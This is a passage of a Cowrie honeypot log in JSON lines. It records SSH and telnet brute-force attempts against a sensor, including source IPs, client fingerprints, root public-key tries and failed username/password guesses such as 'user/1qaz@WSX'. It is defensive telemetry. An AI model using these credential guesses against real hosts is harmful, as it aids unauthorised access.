{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:42:84:b9:24:81:32:24:75:ac:19:6a:e7:0f:94:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSa2t3pELV/p3VTezxMcQiuLNOVihZeswf0WhK7rCFANYBPmb6P35gc+7R6FuFdcnKET6qsS7POl/yFNJaF5YfPZ6HWUsvDFf3NMdEQYz2z6+ZxXJ1yjdIlWPjhdbCBVVQeqCUvf3Lpoc1zlj4mCunE5Vtv+evoiUfvsM73KlydMr2v98m0KlpB7lt1CHiITVFUFM+30V0MKqwK/FpFd1EtMrIRUUcER5A9LufAXfLPg8KGkSUnJxbdSGYNstFGyt+6bBte4bdM1+NAscq1nncRR1o4R2MyTOarhsG13wDcNv23KNiROie2FNeNkeU2SR6smJdEtNoSJKo0nc2B500FkNfR4xAc41AVUJaZP9RbrJNTRy9yd2EWYItT1HsJwAV/AiiWmAEqYgxnMVrg/rOzczkYpcmX280Nff2/e8WOyiWgx9bl5Tjgc+jxMXxEpXnAWwajQKcby1E0SZMkgVDpKKXk531UUY576tDmhMT7xP7xlQXxsI+O7gzfrJLFB2k9dNaYmREOY/Lb/zQQEPEVe0eguJLfyL6r9r5wdhsrqheH2R3oylVTAwfv7RhN/Ep3BHQ538DWQMR5372/N78kHwFdQ6Nvhg6jfJTJqUiSX5UczuD3GRLli237YfzA8U/H12olXK7J6w8RS+6MWb6otq/XFp2/VrA2rFFvWMNkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:42:84:b9:24:81:32:24:75:ac:19:6a:e7:0f:94:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.833327Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:42:84:b9:24:81:32:24:75:ac:19:6a:e7:0f:94:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSa2t3pELV/p3VTezxMcQiuLNOVihZeswf0WhK7rCFANYBPmb6P35gc+7R6FuFdcnKET6qsS7POl/yFNJaF5YfPZ6HWUsvDFf3NMdEQYz2z6+ZxXJ1yjdIlWPjhdbCBVVQeqCUvf3Lpoc1zlj4mCunE5Vtv+evoiUfvsM73KlydMr2v98m0KlpB7lt1CHiITVFUFM+30V0MKqwK/FpFd1EtMrIRUUcER5A9LufAXfLPg8KGkSUnJxbdSGYNstFGyt+6bBte4bdM1+NAscq1nncRR1o4R2MyTOarhsG13wDcNv23KNiROie2FNeNkeU2SR6smJdEtNoSJKo0nc2B500FkNfR4xAc41AVUJaZP9RbrJNTRy9yd2EWYItT1HsJwAV/AiiWmAEqYgxnMVrg/rOzczkYpcmX280Nff2/e8WOyiWgx9bl5Tjgc+jxMXxEpXnAWwajQKcby1E0SZMkgVDpKKXk531UUY576tDmhMT7xP7xlQXxsI+O7gzfrJLFB2k9dNaYmREOY/Lb/zQQEPEVe0eguJLfyL6r9r5wdhsrqheH2R3oylVTAwfv7RhN/Ep3BHQ538DWQMR5372/N78kHwFdQ6Nvhg6jfJTJqUiSX5UczuD3GRLli237YfzA8U/H12olXK7J6w8RS+6MWb6otq/XFp2/VrA2rFFvWMNkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.840421Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:a6:39:fa:82:65:7a:13:3d:26:88:d4:28:43:2a:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChsGl456FGDg7rw3VcnmzpLT/SnvueoTElvfOUsWr+GrU2zCnpPWkRCTQIdz2PzEI0cOtWqT8S4ixKf/Q1WOShaZVD+t0rkMauQ6lkuZ1h6+pCMDNEg9/yFrIZfdZpez1d+FH/HiYcdczBff+2p0X7cED0JBc6epJpDabSRohOP8zK/vvliYFCxQixaIZo0ig/jHwNeR/Bc5+GPIkPrVfkexgHlYSkfbbM9K7mIpWHroG53IgFze1fu0b5Q8UhdNixBqMKKbk8NryM6PoL37a+SqW0JXM/AfXiaAHv6ocYsge+KTf0EOImlpRvZh/h1ixmKQPKEeZSLdRjc3tkKrPA3jAKkjfSS7ybB0szuf8UkmPIy/y2Z/Ujp5P1c03U/JdjL7W0mfOm0cLcaZK24uST2WHn/aGwdZzwmKi7yfPlVGF0OjTtnKYoCf15Bn4E5h+KkgGNxp7Mtv/o9hJFOxMJFE55TIYlDJErWuoLpiY71HzcTeRMdD3Rg7DlvNlgoZIoE8901Atscj2G7860raGqLLCIGUOVHuXpo1MyQe5zazzUSkyRZMTQ2Zu0lJbhEdGFB/6bcC/edYK3/qcf/s43Qm+EB9wwy5VOH+ABARSweA/tFxK4NIVE+Vp65PZwuZRXvfMknaEnJqr/maxfz3ZsueGV3JxvhPxRhg25VJocHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:a6:39:fa:82:65:7a:13:3d:26:88:d4:28:43:2a:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.938999Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:a6:39:fa:82:65:7a:13:3d:26:88:d4:28:43:2a:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChsGl456FGDg7rw3VcnmzpLT/SnvueoTElvfOUsWr+GrU2zCnpPWkRCTQIdz2PzEI0cOtWqT8S4ixKf/Q1WOShaZVD+t0rkMauQ6lkuZ1h6+pCMDNEg9/yFrIZfdZpez1d+FH/HiYcdczBff+2p0X7cED0JBc6epJpDabSRohOP8zK/vvliYFCxQixaIZo0ig/jHwNeR/Bc5+GPIkPrVfkexgHlYSkfbbM9K7mIpWHroG53IgFze1fu0b5Q8UhdNixBqMKKbk8NryM6PoL37a+SqW0JXM/AfXiaAHv6ocYsge+KTf0EOImlpRvZh/h1ixmKQPKEeZSLdRjc3tkKrPA3jAKkjfSS7ybB0szuf8UkmPIy/y2Z/Ujp5P1c03U/JdjL7W0mfOm0cLcaZK24uST2WHn/aGwdZzwmKi7yfPlVGF0OjTtnKYoCf15Bn4E5h+KkgGNxp7Mtv/o9hJFOxMJFE55TIYlDJErWuoLpiY71HzcTeRMdD3Rg7DlvNlgoZIoE8901Atscj2G7860raGqLLCIGUOVHuXpo1MyQe5zazzUSkyRZMTQ2Zu0lJbhEdGFB/6bcC/edYK3/qcf/s43Qm+EB9wwy5VOH+ABARSweA/tFxK4NIVE+Vp65PZwuZRXvfMknaEnJqr/maxfz3ZsueGV3JxvhPxRhg25VJocHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:12.945387Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:bd:16:d8:aa:0b:e2:91:aa:15:b9:73:48:86:c4:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC071hSs4x8dzNbieqcqMMcLY3jbNab5Mz9RRp9Ym99GXPNFjBzGLW+pcOir5DjjQoD909/8SZvGhfkU4nbCuPDOVp78uhoZ+wJ4lx9btysdAyDzCMFwVLQLYug3mhk+O/LoEHVJO6ibUv1pCkpOUHqMtbwaIGCW3VqzOCGQ/+LahesS46oGJ9lNlSsRPTYf9wkw/i1SDKwLiLY1POn5MG+wRJS5Vi3glAy1Vfa1EKYlRnhKJxVT9YgkQL2rQeKag2RtEWRvaXLnDIe0rNWyVNXSMKi0Y7Kif7untAw0MKJbxA+C++JvZKchXNZc8vWPEmCNgiqerIlGmJ0TBjHIeDzY2vyTdLrRWlwIUp2jO/9+xygbsubJAKKthN9tQzCq2bwr7a0ShsA2wndfoUUAaARsWvQSCom8aRgIaFThsognbuDglRhvBovt8Y+MSAEGvwh1gj64X8e2zWFKQ8YvVK5lSlu2yuXUkI8YJ4CWibpf0A34np3krGV+2Qv4YLILYHl3mDZMOMSwGfzqpLU4EN2nNtQqYKJSZyIlzqsq8oTOWGYzB+5owWYbWuZI/z4dMNtny/nsK5sN/9xC8ztJME/j7Z/mLxYwLavdTU5vrTIBQnmYWHFXkAYIpxt5wLi7UDWzYxUXQmR5g0jGC9/6C/59L2saSM1AH2c9X1dwUPP7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:bd:16:d8:aa:0b:e2:91:aa:15:b9:73:48:86:c4:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:13.044798Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:bd:16:d8:aa:0b:e2:91:aa:15:b9:73:48:86:c4:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC071hSs4x8dzNbieqcqMMcLY3jbNab5Mz9RRp9Ym99GXPNFjBzGLW+pcOir5DjjQoD909/8SZvGhfkU4nbCuPDOVp78uhoZ+wJ4lx9btysdAyDzCMFwVLQLYug3mhk+O/LoEHVJO6ibUv1pCkpOUHqMtbwaIGCW3VqzOCGQ/+LahesS46oGJ9lNlSsRPTYf9wkw/i1SDKwLiLY1POn5MG+wRJS5Vi3glAy1Vfa1EKYlRnhKJxVT9YgkQL2rQeKag2RtEWRvaXLnDIe0rNWyVNXSMKi0Y7Kif7untAw0MKJbxA+C++JvZKchXNZc8vWPEmCNgiqerIlGmJ0TBjHIeDzY2vyTdLrRWlwIUp2jO/9+xygbsubJAKKthN9tQzCq2bwr7a0ShsA2wndfoUUAaARsWvQSCom8aRgIaFThsognbuDglRhvBovt8Y+MSAEGvwh1gj64X8e2zWFKQ8YvVK5lSlu2yuXUkI8YJ4CWibpf0A34np3krGV+2Qv4YLILYHl3mDZMOMSwGfzqpLU4EN2nNtQqYKJSZyIlzqsq8oTOWGYzB+5owWYbWuZI/z4dMNtny/nsK5sN/9xC8ztJME/j7Z/mLxYwLavdTU5vrTIBQnmYWHFXkAYIpxt5wLi7UDWzYxUXQmR5g0jGC9/6C/59L2saSM1AH2c9X1dwUPP7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:13.049246Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:13.153551Z","src_ip":"51.75.149.221","session":"c4d129712792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.3392915725708,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:13.378152Z","src_ip":"152.42.224.71","session":"f2f7932a48b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:13.397198Z","src_ip":"147.45.199.80","session":"ad6c5fea7528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:13.777739Z","src_ip":"176.65.132.129","session":"e8603e1d77ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57230,"dst_ip":"159.203.135.109","dst_port":22,"session":"b70980908f66","protocol":"ssh","message":"New connection: 176.65.132.129:57230 (159.203.135.109:22) [session: b70980908f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:15.695598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:15.709325Z","src_ip":"176.65.132.129","session":"b70980908f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34690,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f880b6bb07","protocol":"telnet","message":"New connection: 152.42.224.71:34690 (10.17.0.5:23) [session: 66f880b6bb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:15.735382Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:15.803574Z","src_ip":"176.65.132.129","session":"b70980908f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:16.066283Z","src_ip":"176.65.132.129","session":"b70980908f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.49072527885437,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:16.071595Z","src_ip":"152.42.224.71","session":"f859bd888bef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:17.156235Z","src_ip":"176.65.132.129","session":"b70980908f66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57244,"dst_ip":"159.203.135.109","dst_port":22,"session":"12b1615af1dd","protocol":"ssh","message":"New connection: 176.65.132.129:57244 (159.203.135.109:22) [session: 12b1615af1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:18.894769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:18.900401Z","src_ip":"176.65.132.129","session":"12b1615af1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:18.983506Z","src_ip":"176.65.132.129","session":"12b1615af1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:19.236021Z","src_ip":"176.65.132.129","session":"12b1615af1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:20.323075Z","src_ip":"176.65.132.129","session":"12b1615af1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":56936,"dst_ip":"10.17.0.5","dst_port":22,"session":"3374315f5dce","protocol":"ssh","message":"New connection: 193.37.70.224:56936 (10.17.0.5:22) [session: 3374315f5dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:20.678144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:20.685935Z","src_ip":"193.37.70.224","session":"3374315f5dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:20.780264Z","src_ip":"193.37.70.224","session":"3374315f5dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"132465798","message":"login attempt [root/132465798] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:21.052391Z","src_ip":"193.37.70.224","session":"3374315f5dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57254,"dst_ip":"159.203.135.109","dst_port":22,"session":"808f5000b928","protocol":"ssh","message":"New connection: 176.65.132.129:57254 (159.203.135.109:22) [session: 808f5000b928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:22.046661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:22.053362Z","src_ip":"176.65.132.129","session":"808f5000b928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:22.136796Z","src_ip":"176.65.132.129","session":"808f5000b928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:22.146481Z","src_ip":"193.37.70.224","session":"3374315f5dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:22.387525Z","src_ip":"176.65.132.129","session":"808f5000b928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.47241234779358,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:23.209987Z","src_ip":"152.42.224.71","session":"d2da5a5e483b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:23.475970Z","src_ip":"176.65.132.129","session":"808f5000b928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57268,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e2e51569554","protocol":"ssh","message":"New connection: 176.65.132.129:57268 (159.203.135.109:22) [session: 4e2e51569554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:25.273071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:00:25.278883Z","src_ip":"176.65.132.129","session":"4e2e51569554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 